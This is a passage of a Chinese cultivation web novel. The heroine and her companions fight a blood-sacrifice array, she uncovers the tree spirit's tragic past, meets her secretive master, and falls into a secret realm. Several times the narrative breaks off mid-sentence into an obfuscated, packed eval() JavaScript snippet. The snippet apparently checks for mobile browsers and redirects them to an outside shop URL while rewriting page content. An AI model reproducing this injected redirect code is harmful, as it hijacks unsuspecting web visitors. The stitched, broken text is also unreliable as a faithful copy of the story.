魔修的难缠远超桃源树妖的预料,不断维持三日轮回确确实实地消耗了祂的大部分力量,而魔修所谓的虚弱却只是他们装出来迷惑桃源树妖的表象。 此时,他们的阴谋才露出水面。 天边像是被鲜血浸染,几人脚下的大地也跟着发生了异变。 大地开始蠕动,一道道暗红色的纹路显现,跟随着一同起伏。 “血煞阵。”高墨贤观察了一会地面的纹路,忽地开口道。 见几人望向自己,高墨贤解释了一句:“我在家中的藏书阁中见过这个阵法。” 贵家的藏书阁真是什么都有啊! 53. 希望将至 伏令年几人并没有长时间停留于溪流岸边。 村庄的环境已然大变,蠕动的地面不断出现诡异的花纹。 通过多次确认,高墨贤将不断出现的花纹同他记忆中的血煞阵联系了起来。 通过高墨贤的述说,几人大致了解了血煞阵究竟为何物。 血煞阵是一种极其可怕的法阵,一旦完全启动,它将会吸取法阵范围内所有生物的生命,并将法阵范围内的地域变为一片死域。 从此以后,即使血煞阵被撤去,被影响的土地也无法再产生生命。 “就和多年前那场战争的战场一样。”高墨贤似乎由此想到了什么。 “你是说那场妖魔战争?”温季才似乎对此有所了解。 说是妖魔战争,准确来说应当是人族、妖族与魔族之间的战争。 百年以前,修仙者与妖族魔族之间爆发了一场旷日持久的战争。堕魔的妖族之王带领着大批妖族与魔族入侵人类所处的四境。 那场战争破坏了人类与妖族勉强和平共处的平衡点,从此,人类与妖族的关系严重恶化。直到如今,两者也依旧是死敌。 他们所屠戮过的地方,生灵皆灭。直到如今,那些区域也未能恢复,只能作为不可踏入的禁区。 时间紧急,高墨贤并未详细叙述妖魔战争。不过,光是听他简单的描述,伏令年便能想象出战争期间生灵涂炭之景。 如今,他们脚底下的花纹越来越密集,法阵正在启动,一旦成功,他们几人都要完蛋。 按照魔修们的说法,法阵已经启动,还差最后一个阵眼便能完全形成。 树妖暂时阻止了他们的脚步,伏令年几人却也不能坐以待毙。 高墨贤的叙述完毕,伏令年的神识海便受到了触动。 近期系统的提示似乎尤为频繁。 伏令年一只腿受伤颇重,无法行走。此时,她伏于温季才的背上,被他带着一同前远离溪边。 神识沉入神识海,伏令年觉得神识海中似乎有点不对,但一时间也没发现什么问题。情况紧急,她先查看了系统的提示。 【九十年义务修仙系统提醒您:】 【触发任务:阻止血煞阵生成】 她快速扫视任务的详细说明。 系统给出了血煞阵的详细资料,从制作到启动的流程一应俱全。从理论来说,伏令年能够依靠系统给予的资料制作血煞阵。 血煞阵共有三个阵眼,分别设置于三个方位,形成稳定的三角,支撑着法阵的形成。 一旦血煞阵启动,想要完全破坏血煞阵,需要同时将三个阵眼拆除。 这对于伏令年一行人来讲你是不可能做到的。 毕竟除了伏令年和高墨贤,其余同伴对于法阵一窍不通。根本无法分出三个人前往不同的法阵进行拆除。 不过,完全破坏血煞阵困难,阻挠破坏血煞阵生成却未尝不可。 一种最简单的手段,便是往阵眼中输入灵力,强行破坏法阵内的灵力回路。 简单商讨过后,几人兵分两路,伏令年、温季才与夏悠清一同,高墨贤与林屿燕一同,分别前往不同的阵眼点。 阵眼并不难寻找,因为随着法阵逐渐形成,强烈的血煞气息冲天而起,阵眼处的血煞之气更加浓烈。 只需要用神识稍作探查,便能寻找到阵眼所在地。 温季才背着伏令年和夏悠清一路往其中一个阵眼处奔跑,地面起伏得更加厉害,每一脚都会深深陷入其中,难以自拔。 地面已经完全看不出原来的模样,它蠕动着、起伏着,像一团肉块。 许多鼓泡从中冒出,如同糜烂的脓疮。恶心的黏液从其中渗出,沾染上温季才和夏悠清的鞋履。 脚踩在肉制地面,发出轻微的“啵、啵”声。随即,更加可怕的事情出生了。 一只只苍白的手臂由地底冒出,朝着温季才两人的脚腕处抓去。 苍白的手臂大小各异,腐烂的皮肉挂于其上,能看见其中裸露的森森白骨。 夏悠清反应较慢,被突然出现的手臂紧紧抓住脚腕,整个人失去平稳摔倒在地。 她两只手撑地,半个身体陷入肉制地面内,发出惊呼之声。 随即,另两只手臂“破土而出”,紧紧攥住夏悠清的手腕。 伏令年再次召出白玉剑,剑光乍现,剑气精准无误地斩在抓住夏悠清手腕的两只手腕。 剑气整整齐齐地切断了两只手臂,夏悠清的双手重获自由。 手臂断裂,手掌“啪嗒”掉落在地上,蹦跶了几下,竟还能追寻着温季才几人的方向。 就在伏令年想再次出剑,斩断禁锢住夏悠清脚腕的手臂时,就见满脸惊恐的夏悠清快速从储物空间中拿出了那巨大的炼丹炉,狠狠朝攥住自己脚腕的手臂砸去。 骨头断裂声响起,夏悠清居然直接用炼丹炉将那手臂直接砸烂了。 温季才靠近,将半陷入地面的夏悠清拽起。 几人一路奔逃,斩杀着不断从地面中探出的奇怪事物。 夏悠清对于这样的场景很不适应,表情十分惶恐。但她手上却丝毫不含糊,炼丹炉在她手上被挥动得虎虎生风。 炼丹炉此时所能发挥的作用比伏令年温季才两个剑修都要大,在炼丹炉的碾压下,手臂将被完全碾碎,无法再行动。 三人循着煞气的指引来到了其中一个阵眼。 “天啊…” 三人近乎同时抬起脑袋,震惊地注视着面前的场景。 入目是血红色的,地面、天空,以及——矗立着近乎遮蔽大半天地的桃源古树。 此时的桃源古树有了巨大的变化,粉色的花瓣被晕染成鲜红色,似乎饱吸了鲜血。一具具孩童的骸骨悬挂于树杈,随着带着腥气的风轻轻飘荡。 伏令年有种古怪的感觉——她觉得那些骸骨在注视着他们。 即使他们只剩下了一具具森森骨架,本因属于眼睛的地方也只剩下两个窟窿。 桃源古树的不远处,原本应该作为祭坛的地方,笼罩着一团血红色的光芒。 在神识的探查下,一团团扭曲的身影在其中显现,扭动着、挣扎着。 伏令年似乎听见了尖叫声、哭泣声,它们汇聚成无法分辨的低语呢喃,以及更多杂乱的动静。 或老或小,或女或男,混杂的声音环绕着祭坛不断回响。唯一相同的,是声音中都透露着相同的情绪——恐惧与痛苦。 三人想要靠近阵眼,却被那阵阵蕴含着可怕情绪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不许!” “砰砰!” “靠近伏师姐!!” 夏悠清此时化身战神,所向披靡,竟直接将周围的怪物清空了一片。 手臂酸痛,夏悠清喘了几口气,转头去看。 就见温季才和伏令年齐齐朝她竖起拇指。 “强。” 随即,温季才也拿到了炼丹炉,开始加入捶击怪物的队伍。 两人负责守着阵眼不让怪物靠近,伏令年则时不时用灵力搅动破坏阵眼。 每次破坏阵眼,四周的怪物便会产生暴动。温季才和夏悠清勉励抵抗,身上皆免不了落下伤口。 但是,他们没有退路。 时间流逝变得缓慢,每一秒都是煎熬。 就在几人近乎陷入绝境当中时,血色的天际出现一条黑色的线条,像是剑锋划过的痕迹。 下一刻,线条增多,天空如同被打碎的玻璃罩子,一块块碎裂开来。 一束束光,从破洞处照了进来。 54. 三日真相 破洞处照入的光芒如同火种,点燃了伏令年几人希望的火焰。 会是昆仑宗的救援吗? 破洞处,宜人的阳光洒落,抚平了多日来笼罩于几人心中的阴霾。被阳光照射到的地界白雾蒸腾,滋滋作响。 蠕动的肉块与触手似是见不得光的幽灵,在光芒下逐渐消散。 碎裂的天空红蓝相渐,如同散落的拼图,与人极不真实的感觉。 大地再次震颤,天空似乎也随之震动起来,更多的“碎片”产生。 伏令年透过周围扭曲模糊的暗影朝外看去,一道极为眼熟的身影自天际显现,一剑斩出,剑虹贯彻天地。 血色的天空骤然崩裂。 而就在此时,阵眼周围盘绕的黑影猛烈晃动起来,似乎即将消散。 在它们彻底消散的那一刻,嘈杂无法分辨的低语呢喃化作声音的利剑洪流,刺入了伏令年的脑海。 勉强维持在神识海处的屏障如同天空般崩裂。 恍惚间,伏令年眼前浮现道道红色线影,就如那日牵引于桃源树妖身周的红黑细丝。 在模糊的幻影当中,伏令年看见细小的嫩芽摆动着枝叶茁壮向上生长,顷刻间便成长为苍天巨树。 一时间,伏令年还以为是自己神识海中的嫩芽长大了。 可当面前的幻影逐渐清晰之时,伏令年认出了面前的苍天巨树。 这是桃源古树。 桃源古树粗大的枝丫伸展着,粉嫩的花朵点缀其上,缓缓摇曳。 伏令年目光下望,惊讶地发现树底下不再是一具具孩童的尸骨,而是一个个漂浮于树荫之中的孩童。 他们瞪着天真烂漫的双眼,好奇地打量着周围的一切。孩童的眼眸中没有久经生活的灰暗与污浊。 他们像是初生的婴儿,如白纸般纯洁,还未点染世间的笔墨。 就在此时,伏令年察觉到了注视。 除去那些孩童,来自他人的注视。 伏令年顺着那种感受望去,对上了一双桃花似的眼眸。 一头深红近黑的头发,皮肤白得没有血色,仿若大型陶瓷娃娃的少女形象。 与那日相见所不同,精美的陶瓷娃娃成了残破的瓷器,细密的裂纹布满祂的身周。可视处皆残破不堪,状似鲜血的红色液体从裂缝中流出,划过苍白的躯体流入祂脚下的土地。 “你……能来到这里。”伏令年听见了祂的声音。 “你是祂的种子?”这是一句伏令年听不懂的话语。 “什么?”伏令年问。 祂似乎听不见伏令年的话语,自顾自地说道:“我本以为,我能够守护他们。只要我足够强大,能抵御外界的妖魔,他们便不会受到伤害。” “但是,我突然发现…我的根系处已然腐烂了。” 话音刚落,祂的身体寸寸碎裂掉落,鲜红的液体从破损处汩汩涌出。 随即,苍天巨树由下至上染上了深红近黑的色泽。树干失去生机,由根系处开始腐烂。 有机质腐烂的气味涌起伏令年的鼻腔,她屏住呼吸,目光注视着面前土地。 隆起的根部、皴裂的缝隙处,一团团眼熟又恶心的蠕虫在其中攒动。 随着缝隙增多,不断有蠕虫从中涌出,密密麻麻地铺满地面,近乎要粘到伏令年的鞋尖。 她退后两步,再一抬头时,惊恐的发现整棵古树都干瘪了下来,像是一下被抽空了。 桃源古树的内部,已经被蠕虫所占据。 古树由根系开始腐烂,当蠕虫从中钻出之时,便是其彻底倾倒之时。 庇佑桃源村百年,又禁锢了桃源村百年的桃源古树,就以这样的姿态缓缓向地面倾倒。 漂浮的孩童发出尖细的啜泣声,似乎为此感到惊恐。 就在这时,伏令年听见了一段歌谣。 是桃源树妖的歌声。 旋律很熟悉,正是那桃源树妖操纵伏令年和温季才唱的那首儿歌。 在桃源树妖的歌声中,漂浮的孩童们逐渐安静下来,仿佛陷入沉眠,安稳且宁静。 伏令年退开躲避倾倒的巨树,背后一凉,整个人没入黑暗当中。 四周再次恢复明亮,伏令年发现自己正处于神识海当中。 星辰似的光点黯淡地点缀于神识海中,一棵树苗矗立于神识海的角落,一根根细长的枝条垂落,形似杨柳。光秃秃的枝条上点缀着两片红叶,格外突兀。 神识轻触其中一片叶片,记忆流席卷而来。 伏令年仿佛按着加速键和跳跃键,在极短的时间内。观看了他人的一生。 记忆中,伏令年甚至能体会到记忆主人的喜怒哀乐。 这是鸠的记忆。 伏令年利用白玉剑吸收了鸠的神魂,不知为何牵动了神识海中嫩芽的成长。 两者间的奇妙联系,甚至能让伏令年看见鸠的部分记忆。 缓了一会,伏令年怀着好奇的心,触碰另一片树叶。 神识海中一阵剧烈摇晃,猩红的画面连续闪动,剧烈的疼痛再次侵占了伏令年的脑海。 没有睫毛的猩红瞳孔密密麻麻地注视着她,强烈到无法分辨的情绪如浪潮般涌动。 没有后悔的机会,混乱的画面在伏令年面前闪动。 当神识海归于寂静,伏令年一时间还无法回过神来。 祂的记忆极为混乱模糊,被一股脑灌输进伏令年的脑海中,让她短时间很难理清。 她只能从破碎的记忆碎片处勉强分辨出,那似乎是桃源树妖的记忆。 如果说鸠的记忆和白玉剑的吞噬有关,桃源树妖的记忆又是为何? 太多的疑惑盘踞在胸间,奇怪的系统、神识海的嫩芽、桃源树妖与信仰的力量、变化巨大的白玉剑,以及给予她白玉剑的那位——疑似遨月峰峰主的沈聿泽… 许多困惑有待解决,神识海中的系统提示在提醒着她——是时候解决其中一个问题了。 【九十年义务修仙系统提醒您:】 【限时任务:寻找三日轮回的真相】 【完成奖励:【有用的奖励*1】 失败惩罚:【变成风铃挂在树上~】】 拥有鸠和桃源树妖部分记忆的伏令年此时能够回答这个问题。 一切便从最开始说起吧。 桃源村从前只是个人口稀少的小村庄,常年受妖兽的威胁。无法对抗自然的人们产生了对桃源树灵的信仰 桃源树妖从未有灵识的树木,吸收日月精华与信仰之力,成为了拥有自我意识的树妖。 祂见证了桃源村的发展,庇佑着桃源村壮大。信仰将祂与桃源村人们紧密联系在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若不是伏令年身负系统,情况特殊,他们几人此时恐怕已经成为了血煞阵祭品的一部分。 【限时任务:寻找三日轮回的真相已完成】 【获得【有用的奖励*1】】 根据几位魔修的说法,他们吸引伏令年一行人来到此处,是想将他们当做祭品。 话虽如此,伏令年却隐隐觉得其中还有古怪。三日轮回的僵持中,桃源树妖看似占据主导,实则处于弱方。 只看祂根系腐败,枝干中蛀满蠕虫的模样,便知祂的情况何其糟糕。只要再拖延一段时间,魔修们终能达成目的。 主动传递信息,虽然能引来修仙者作为上等的祭品,却着实危险,有很大的不确定性。 就如现在,伏令年几人为两方角逐带来了意外。桃源树妖虽败,魔修的计谋却并未成功。 其中或许还有什么隐情,伏令年决定要再细细察看一番鸠的记忆。 然而,就在她还未触碰那红叶之时,神识海再度翻涌,一只巨手突兀出现于伏令年“身边”。 手掌靠拢,伏令年只觉自己被牢牢攥住,神识被从神识海中揪了出去。 睁开眼睛,伏令年看见了一张陌生的面孔。 55. 再见故人 面前之人有着一张硬朗的中年面孔,眼神古井无波,让人看着心悸。 他不开口说话,伏令年也就不说话。 小心打量四周,她发现自己正处于空中。身下是一叶漂浮的飞舟。 中年男人打量了伏令年两眼,抬手一抓。伏令年顿时感到神识海翻涌,刺痛感从中蔓延而出。就在此时,白玉剑光芒大作,调动神识海中的“星辰”形成屏障,隔绝了外来的侵扰。 中年男人顿时皱起了眉头,伏令年与他目光想对,一下便陷入了他黝黑的瞳孔之中。 中年男人的瞳孔是黑色的,和大多数修仙者一样。但他瞳孔的黑色却又与寻常人有所不同,仿佛能吸食周围的光芒。 寒意遍布全身,伏令年身体一僵,脑袋再次感到疼痛与略。 中年男人却丝毫没有理会,只是继续用奇异的方式试图入侵她的神识海。 神识海中白玉剑再度产生异动,剑鸣声起,将伏令年从诡异的状态中拉了回来。 中年男人两次尝试未能得手,脸上表情终于有了变化。就在他第三次打算出手时,一道剑光乍现,将伏令年与他分割开来。 长剑悬浮于伏令年跟前,朴素的长剑极为眼熟,正是沈枫泽时常携带的那把——能把伏令年揍得满地乱跑的佩剑。 此时再见它,伏令年竟也生出了一丝亲切感,恨不得立刻抱着沈枫泽的大腿哭诉。 好好的普通下山任务,怎么成了如今这个状况! “你…”中年男人皱起眉头,眸光越过伏令年,落到了她的身后:“她的神识可能已经受到了魔修的影响。” 沈枫泽不知何时已来到了伏令年背后,声音淡淡:“紫云前辈,遨月峰的弟子无需你来担忧。” 颈间微凉,沈枫泽两指在伏令年颈侧点了点。伏令年身体微颤,身体回暖。那种如坠冰窟的感觉消散,入侵神识海的异物也尽数被清除。 中年男人被如此对待,自然不喜。他冷哼一声,却也没多说什么,甩袖离开。 沈枫泽脸上表情冷漠,还未等他有下一步动作,衣摆忽的一紧。 缓缓低头,他看见伏令年扒着他的衣摆,眼泪汪汪:“师兄!我可想死你了!” 沈枫泽抽动衣角,竟未能挣开。 “放手。”他无奈道。 “师弟他们呢?”伏令年稍稍松手,问道。 “他们没事,受了些伤,已经带回青叶峰治疗了。”沈枫泽道。 然而,还未等伏令年松一口气,沈枫泽话风却一转。 “但是,你有事。” 在伏令年困惑的眼神中,沈枫泽缓缓地道:“师父要见你。” “师父?”伏令年脑海中顿时浮现出那美男子的身影。 “是。”沈枫泽没有过多解释什么,身下浮空的飞舟摇晃着往下方落去。 伏令年被领着来到了遨月峰的主殿。 她腿上的伤还未好,无法自如行走,近乎是被沈枫泽拎着走了一路,以一个极不体面的姿势见到了那位传说中的遨月峰峰主。 面前之人似乎是一位步入暮年的老者,胡子几乎要垂到地上。 但当伏令年与他眼眸相对时,却感到一阵熟悉。鼻尖嗅到了酒水隐隐的甜香。 一种强烈的感觉在她内心浮现——此人绝不如他外表那样苍老。 沈枫泽朝老者行了一礼:“血煞阵未能成形,我已经斩断了主阵眼周遭的脉络。” “不错,你先回去吧。”老者的嗓音也很符合他外表,声音低沉苍老,语气平稳,听不出他的情绪。 待到沈枫泽离开,老者的视线落到了伏令年的身上。 按常理来说,伏令年此时应当行师徒之礼,并说一句“弟子伏令年拜见师父。” 然而,话至舌尖,另一句话却脱口而出: “你胡子贴歪了。” 面前老者的动作微顿,伸手摸了摸自己的长胡子。 下一刻,他恶狠狠地瞪了伏令年一眼,原本沉稳的气质烟消云散:“胡说,我用的是易容的术法!” 对方漂亮的丹凤眼上挑,与伏令年脑海中那美男子的眉眼重叠在一起。 看来,那美男子当真就是沈聿泽——遨月峰的峰主。 破功的沈聿泽也不再摆出沉稳老者的模样,伸手一弹,食指正触于伏令年额心。 啪嗒一声,额头微痛。 伏令年觉得灵识海一阵动荡,白玉剑竟直接被沈聿泽从神识海中抓了出来。她甚至没有反抗的机会。 面对金丹期的修士,她都能够利用白玉剑反杀对方,如今却毫无反抗之力。 沈聿泽不知做了什么,竟从白玉剑中抽出了一团模糊得难以辨别的事物。 那团事物出现的一瞬,伏令年一阵恍惚,似乎回到了在神识海中面对鸠的情形。 被强烈的好奇驱使着,伏令年扭头去看,却被沈聿泽用另一只手摁住了脑袋。 还未等伏令年看清那事物具体的模样,他手指微收,将其纳入掌中。 “好奇心会害死修仙者。”沈聿泽声音已经变回了两人初次见面时的模样:“有些东西,不要看,不要听,不要说。明白吗?” 他的目光望进伏令年眸中,意味深长。 伏令年读不懂他的意思,却莫名觉得有些发毛。强行挪开目光,她轻声道:“明白了,师父。” “不错。”沈聿泽笑了一声,心情似乎突然变得很好。 他挥了挥手,白玉剑失去桎梏,乖顺地落回伏令年手上。它外表恢复如初,不见先前隐隐血色。 伏令年心念一动,白玉剑消散,回到了她的神识海当中。 “这把剑。”低头看着手掌,伏令年问:“究竟是何物?” 这把白玉剑一开始便是沈聿泽给予她的,从起初华丽如同美丽废物的模样到如今能够与伏令年神魂相融,其间变化之大,让伏令年觉得诡异。 沈聿泽却似是毫不在意,好像早已预料到如此情况。 听到伏令年的问题,沈聿泽随意地摆了摆手:“为师送你的小礼物。” 他貌似在为师二字上加了重音。 伏令年一脸无奈,显然,沈聿泽在敷衍她。 除了这把神奇的剑以外,她还有许多疑惑堆积在心中,如今却问不出来了。 一是他说话总是半藏半露,伏令年不觉得他会直接回答自己的疑问。 二是她对沈聿泽并不熟悉,也不知他究竟有何目的,无法随意向他发问。就比如,魔修所说的有关信仰造神的信息,以及她神识海中可以看见记忆的树叶,伏令年就不敢多问。 这些事情可能涉及到修仙宗门的机密,光是知晓就可能遭到杀身之祸。 等等。 伏令年脑中灵光一闪。 沈聿泽能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们…唉…”他摇了摇头:“旧伤未愈,下了趟山,十多天后脚又瘸了。” 对于处于三日轮回外的陆辞书来说,伏令年几人离开宗门已有十余天。 看来他并不清楚伏令年几人究竟遭遇了什么。 给伏令年检查了伤处后,陆辞书离开了。 温季才伤得不重,身上多是被触手黏液腐蚀的皮外伤。高墨贤则更狼狈一些,据他所说,林屿燕护着他一路向其中一个阵眼奔去。 可走到一半,地底的怪物暴动,两人被困在其中。 幸而高墨贤身上还有隐蔽身形的法阵,两人得以喘息的机会。 再后来,便是昆仑宗前来救援。 几人身上多多少少都带了伤,好在最后皆平安回到了宗内。 当真是不幸中的万幸。 根据两人的描述,伏令年也就此确定,他们并未看见桃源树妖最后的幻象。 或许,这与她神识海中的树苗有关。 可当伏令年沉入神识海中,想要再次查看桃源树妖的记忆之时,却发觉神识海中原本已然长大的树苗已然消失。 细细探寻,伏令年再次在角落发现了一片嫩芽。 它又回归了最初的模样,似乎从未出现过变化。 不要看,不要听,不要说。 沈聿泽的话语再度于耳旁显现,如同一击击重锤,在伏令年耳边炸响。 56. 进入秘境 自那日以后,伏令年从精神到身体皆回归了宁静的状态。 神识海再未产生过异动。系统也恢复了原本死板的模样,无法自如沟通。 伏令年不知这样的状况是否与沈聿泽有关。 若不是系统显示的任务进度实打实地存在,伏令年近乎都要以为三日轮回中的一切其实是一场幻梦。 【任务:寻找三日轮回真相已完成】 【任务:阻止血煞阵生成已完成】 【任务:回家的诱惑已完成】 伏令年如今已经拥有了三个作用未知的【有用的奖励】道具。 在系统所给予的所有物品中,这个道具最让她摸不着头脑。 因为它摸不着,也看不到,甚至没有系统的介绍。 伏令年三人依旧由沈枫泽领着修仙,而作为他们名义上正牌师父的遨月峰峰主沈聿泽依旧不见踪影。 温季才和高墨贤甚至还未见过他一面。伏令年倒是有时能在浮空岛上见到他躲在角落里喝酒。 就比如现在。 入秋时节,伏令年刚刚清扫完毕,为了逃避沈枫泽的训练,坐在轮椅上绕着浮空岛周边晃悠着。 耳边是琼灵泉的潺潺水声,伏令年推动着轮椅缓缓前行,一切显得寂静悠然。 她的腿伤其实已无大碍,筑基期修仙者优异的体质让她腿部伤口的外表近乎完好,唯有内在对骨骼肌肉的伤害还未完全愈合。 之所以还坐在轮椅上行动,单纯是她懒得动。 她甚至还想要对轮椅进行改装,以便她解放双手。 鼻尖嗅到浓郁的酒香,伏令年抬眸望去,就见沈聿泽依靠着突出的石块而坐,身旁的酒罐或立或倒,一地狼籍。 他乌黑的长发散乱披散着,面色薄红,醉眸微醺。双眼似是蒙上了一层水雾,模糊又迷离。 在她发现沈聿泽的同时,沈聿泽正好抬眸,与她目光相对。 “师父。”伏令年嘴唇微动,喊了一声。 沈聿泽醉醺醺地朝她招了招手:“喝吗?” 伏令年将轮椅划了过去,却没接过他递来的酒瓶。 “我未及笄,师父。”这个世界成年的标准是17岁,男女都一样。伏令年这具身体今年才15,还是未成年人。 “哦…忘了…”沈聿泽嘟囔着,又自顾自地喝了起来。 沈聿泽饮酒,伏令年就在旁边坐着,两人一时间无言。 “来这儿做什么?”沈聿泽问。 “打扫。”伏令年晃了晃自己手中的簸箕,补了一句:“顺便逃课。” 沈聿泽挑眉,忽的哈哈大笑起来。 “逃课…?”沈聿泽笑眯眯地问:“就这么直接同我讲了,不怕我告诉你大师兄?” 伏令年摊了摊手:“你可是师父诶。” “我可管不着他。” 沈聿泽是个修为深不可测的神秘修仙者,也是个看起来离不开酒的人,日常不是不知所踪就是窝在琼灵泉旁喝酒,伏令年前几次遇到他时便是这样的情形。 而醉酒的人,总是要比平常更加管不住嘴巴的。 沈聿泽和她聊天,她也乐得同沈聿泽搭话,哪次说不准就能得到些有用的消息。 “真的?”伏令年眼珠一转,故意道:“你管不着大师兄,那他能管你咯?” 没等沈聿泽说话,伏令年不怀好意地说:“那你喝酒的事情…” 两人对视了片刻,沈聿泽阖眸,往后靠躺。 伏令年推着轮椅靠近:“师父?” 沈聿泽不理会她。 “师父——”伏令年拉长了音调。 沈聿泽终于睁开眼睛,瞪了伏令年一眼,像赶蝴蝶似的挥了挥手:“去去去,这里没有你师父。” “那我也没有逃课。”伏令年笑着道。 “我才不管你。” 两人就此达成共识。 伏令年不久后又推着轮椅离开了琼灵泉,四处转悠着寻找起未被她记录在案的灵植。 现如今,她的灵植学第二篇收录总进度已达到30%,其中大部分收录都来自浮空小岛。不同季节不同时间的浮空小岛总会给予伏令年惊喜,她有预感,她还能在浮空岛发现更多的未知灵植。 浮空小岛如此特殊,不愧是遨月峰峰主所有。 伏令年心中这么想着。 就在伏令年行至那状似杨柳又似松岩的巨树之下时,久违的系统提示出现了。 【九十年义务修仙系统提醒您:】 【检测到特殊秘境,可兑换资格进入】 【兑换资格条件: 1、无修为限制 2、【有用的奖励】*3 3、获得资格后无需再次兑换,不限进入次数】 【宿主可选择是否进入秘境】 伏令年在选择界面顿住,她询问系统:“这是一个怎样的秘境?” 【特殊的秘境】 “……” 可真是听君一席话,如听一席话。 “秘境中有危险吗?”伏令年不抱期望地问了一句。 让她意外的是,系统回复了。 【无】 如此笃定的回应,不像是系统的风格。 秘境的概念对于伏令年来说并不陌生,她在原来的世界便没少看小说。 “秘”与“境”二字,便意味着神秘与未知,以及限定的地域与环境。在众多修仙小说中,秘境往往蕴藏着危险与机遇。 修仙小说的主角们总会在历尽千辛万苦后,于秘境中得到丰厚的宝藏。 因此,伏令年才有此一问。她需要知道秘境的危险性,才能做出决定。 就在这时,系统提示进入倒计时的阶段。 “五” “四” “三” 眼见着倒计时即将结束,伏令年选择了“是”。 她担心错过这次机会,便无法再进入秘境。而系统提示中,只要获得进入资格后,无需二次兑换,既获得长时间的进入资格。 做出选择后,倒计时暂停。 下一刻,伏令年眼前一花,强烈的失重感袭来。 她身体近乎腾空,连人带轮椅从地面裂开的缝隙处掉了进去。 同一时间,醉醺醺的沈聿泽睁开双眼,眼眸中迷蒙的雾气褪去,流露出伏令年从未见过神采。 他朝着一个方向看了片刻,又重新恢复到懒散的状态,双眼微闭。 伏令年往下坠落,眼前先是一片黑沉。待灵力聚集至眼眸处,伏令年看清了周围的情景。 然而,还未等她做出调整,人已经落入了一片绿丛中。 身下似乎是层层叠障着的藤蔓,给伏令年极速下坠的身体做了缓冲。 伏令年耳边听见藤蔓崩裂的声响,她扭身抓住身侧的藤蔓的下一刻,身下无法承受她与轮椅同时砸击的藤蔓便崩裂开来。 身体借着藤蔓晃动,伏令年用另一只未受伤的脚将即将坠落的轮椅勾起。 同时,她视线落往身下,观察四周的环境。 她似乎掉进了一片原始的丛林中,满眼皆是绿意。 藤蔓缠绕着密布于四周,形成自然的牢笼。而在这“牢笼”之中,是一片隐匿于黑暗中的沼泽泥潭。 伏令年此时正处于沼泽之上,身体晃晃悠悠,只能依靠手中藤蔓以免掉落入其中。 沼泽呈深灰色,与周遭的土地近乎融为一体,光凭肉眼难以区分。 伏令年之所以知道下方是一片沼泽,是因为她看见了下方的人。 那个人躺于沼泽当中,半沉半浮。藤蔓将他的四肢缠绕,让伏令年联想起了用于禁锢囚犯的枷锁。 他发丝披散着,却并未被泥泞沾染分毫。 视线虽然受阻,伏令年还是隐约看见了他的脸庞。 这应当是个极俊美的少年。 肌肤苍白如雪,乌黑碎发掩盖下的眼眸紧闭,脖颈处挂着一枚图案极其眼熟的玉坠。 玉坠上的图案似乎是伏令年遨月峰玉牌的缩小版。 他难道也是遨月峰的弟子?误入秘境之中被困。 看那少年的面容平静,如果不是周围恶劣的环境,伏令年几乎都要以为他是童话中那等待着命定之人吻醒的“睡美人”。 盯着看了一会,伏令年忽地反应过来如今的情况并不容许她思索旁的事物。 她处于沼泽之上,岌岌可危。而那疑似遨月峰弟子的少年处于沼泽之中,情况危急,似乎已经失去了意识。 思虑片刻,伏令年决定放弃脚上的轮椅。她需要减轻自身重量,并借助藤蔓离开危险区域,再寻找救人的方法。 思虑至此,伏令年不再犹豫。她果断将轮椅抛下,身体借力朝另一个方向荡去。 然而,眼见着她即将能离开危险区域之时,异变陡生。 掌心中藤蔓的触感变得古怪。 藤蔓原本粗粝的外表变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546329|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光滑,轻轻颤动着。伴随着上升的温度,液体汩汩的流动声在上方响起。 伏令年有种怪异的感觉,她手中的藤蔓似乎不再是藤蔓。而是什么生灵的血管。 这样的想法闪现,伏令年不由自主抬头望向手中的藤蔓,猝不及防地看见了上方怪诞的情形。 条条藤蔓交织着铺满天际,将伏令年头顶的天空掩盖的密不透风。红色的液体在半透明的植物脉络中流动,将四周染成了不详的血红色。 伏令年手中的藤蔓已完全被鲜红浸染,断口处渗漏着红色的液体。 “滴答。” 一滴暗红的液体从断口处滴落,顺着伏令年的手臂滑落。 搏动的藤蔓牵引着伏令年的心跳,有一瞬间,伏令年甚至以为自己已经同藤蔓融为了一体。 “噗通、噗通、噗通。” 伏令年的心脏与藤蔓同频跳动着。 “啪嗒、啪嗒、啪嗒。” 不断有液体滴落,落在她的手臂上,落在她的脖颈上,落在她的脸颊上。 伏令年觉得自己陷入了一场噩梦当中,思维的转动变得生涩,眼睛开始失焦。 她努力催动神识海中的白玉剑,剑鸣声起,眼前的场景再度变得清晰。 模糊的血色脉络变得清晰,红的更加红,绿的更加绿。 在细密的藤蔓之中,一只只没有睫毛的眼瞳大睁着,不断有液体从中滴落。 指尖湿润,有些发痒。 伏令年目光移动,就见作为她唯一救命稻草的藤蔓之上,张开了一只只没有睫毛的眼瞳。 